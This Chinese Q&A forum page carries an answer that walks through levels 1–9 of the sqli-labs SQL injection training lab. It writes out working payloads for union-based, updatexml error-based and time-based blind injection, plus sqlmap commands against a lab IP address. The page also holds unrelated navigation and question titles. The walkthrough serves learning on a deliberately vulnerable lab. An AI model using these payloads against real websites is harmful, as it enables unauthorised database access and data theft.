问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

1. sqli-labs 通关攻略

发布网友 发布时间:2024-10-16 22:57

我来回答

1个回答

热心网友 时间:2024-11-21 04:46

less-1 判断是否存在sql注入,提示输入数字值的ID作为参数,输入?id=1

输入的id不同,返回的内容也不同,说明输入的内容被带入数据库查询

判断sql语句是否是拼接,且是字符型还是数字型

可以根据结果确定是字符型且存在sql注入漏洞,因为页面存在回显,所以可以使用联合查询

首先判断列数,如果报错就是超出列数 ?id=1'order by 3 --+

只有三列

然后判断显示位,是2和3 ?id=1' and 1=2 union select 1,2,3 --+

查出数据库名和版本号 ?id=1' and 1=2 union select 1,database(),version() --+

Less-2 第二关与第一关步骤相似,先进行判断,输入单引号或双引号可见报错,且报错信息看不到数字,可猜测sql语句为数字型注入

?id=-1 order by 4,将id调整为-1,报错更改,说明只有3列

显示位置为2,3

找到库名和版本号

Less-3 在id后面加一个单引号,引发报错,推断此处sql注入为字符型,且为括号闭合

验证成功 ?id=1')--+

判断列数,仍为3列 ?id=1') order by 4--+

判断显示位置 ?id=1') and 1=2 union select 1,2,3--+

查出库名与版本号 ?id=1') and 1=2 union select 1,database(),version()--+

Less-4 页面报错信息显示sql语句是双引号字符型且有括号

验证成功 ?id=2") --+

判断列数,仍为3列 ?id=2") order by 4--+

判断输出位置为2,3 ?id=2") and 1=2 union select 1,2,3--+

查出库名与版本号 ?id=2") and 1=2 union select 1,database(),version()--+

Less-5 第五关根据页面结果得知是字符型,闭合符号是单引号,但不会回显结果

使用updatexml报错注入 ?id=3' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-6 首先判断注入类型,闭合符号是双引号,类型是字符型

没有回显,不能使用联合注入

使用报错注入 ?id=3" and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

Less-8 这一关什么都看不到,只能通过返回语句判断页面正常与否

使用布尔盲注,盲注花费时间较多,直接使用sqlmap去跑他 sqlmap -u " 192.168.116.131/sqli-la..." --dbs,可以看到,直接给我整个数据库跑出来了

Less-9 第九关发现不管输入什么,页面显示的东西都一样,布尔盲注不适合使用,布尔盲注适合页面对于错误和正确结果有不同反应

如果页面一直不变,这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep()函数

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟

通过页面时间来判断出id参数是单引号字符串

?id=1' and if(1=1,sleep(5),1)--+ 判断参数构造

?id=1'and if(length((select database()))>9,sleep(5),1)--+ 判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 逐一判断数据库字符

数据库名长度大于7的时候沉睡了5秒,说明它的长度是8,这种方法耗时太长,我们还是使用sqlmap吧

sqlmap -u " 192.168.116.131/sqli-la..." --dbs
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
八月中国最凉快的地方 八月份哪里最凉快,去哪旅游好?美丽的地方 乱字同韵字是什么意思 华硕笔记本电脑触摸板怎么开笔记本电脑触摸板怎么开启和关闭_百度知 ... 陕西职务侵占案立案准则 结婚后我的恋情维系了十年,怎么做到的? 玉米仁子饭产自哪里 中国期货交易所的交易品种有哪些? 历史要怎么读,有啥诀窍 高中历史诀窍 我国的五座名山合称,五岳。根据题意它们的地理位置 ...mid(username,1,1)函数,获得的中文的ASCii码,怎么转换成中文。_百度... 基金从业考试报考的科目是什么 火灾处于是扑救的最好的时间。只要发现和报警及时。用很少的人力和消防... 三个角度剖析,极早期火灾预警和常规火灾报警的区别 基金从业资格考试需要考几门科目 遇见花蛇和癞蛤蟆有什么征兆 小岭机场现在通航是吗?上海到锦州的航班.是在锦州湾机场降落。还是在小... 家里有蛇吃蛤蟆怎么办 洛阳到锦州通民航吗,如果没有怎么走最方便,最好是飞机, 锦州通航船务怎么样 英语自然拼读法有什么好处? 方瑜人物信息 大学的机电一体化有哪些课程 世界上有几个人叫谭方瑜 贷款三千还款十万是否合法?民间借贷应注意哪些事项? 借款人须知民间借贷应注意哪些事项 皮肤划伤了粘上了甲醛会感染吗 让我难忘的人 作文 400字 急急急急!!! 这样的电脑配置能玩丧尸围城3》?? [罗斯福夫人]我急需她的资料 CATIA软件哪家平台好? 我用的BT下载后的电影格式是AVI,请问用什么播放器可以浏览。谢谢~~ 我下载的电影怎么看不了?avi格式的 为什么老提示我的主板温度过高 全口种植牙需要多少钱呢 用BT下载的动画要用什么播放器播放,realplayer可以么 种植牙的价格大概多少 ...饭店.小吃聚集的地方做些什么生意好,做好是一些供货,送货什么的... 农村做什么生意好挣钱藏在农村不起眼的暴利小生意 我想买化妆品在淘宝网上看得比商场里现实生活中商场里看的便宜多了... 淘宝上买化妆品是真是假? ...复合电压闭锁保护动作且没有跳闸事故出现,是什么原因引起的。_百度... 马桶盖高锰酸钾腐蚀变色怎么办 微信转账你无需收款什么意思? 在群里转账无需收款怎么操作 泰康車站到香坊火车站各个站名动车的 关于中学生带手机的辩论稿(英语) 滨洲铁路刚建成的时候都有哪些火车站=比如满洲里-至哈尔滨沿线经过的车... k7062次列车途径站点 都经过什么站点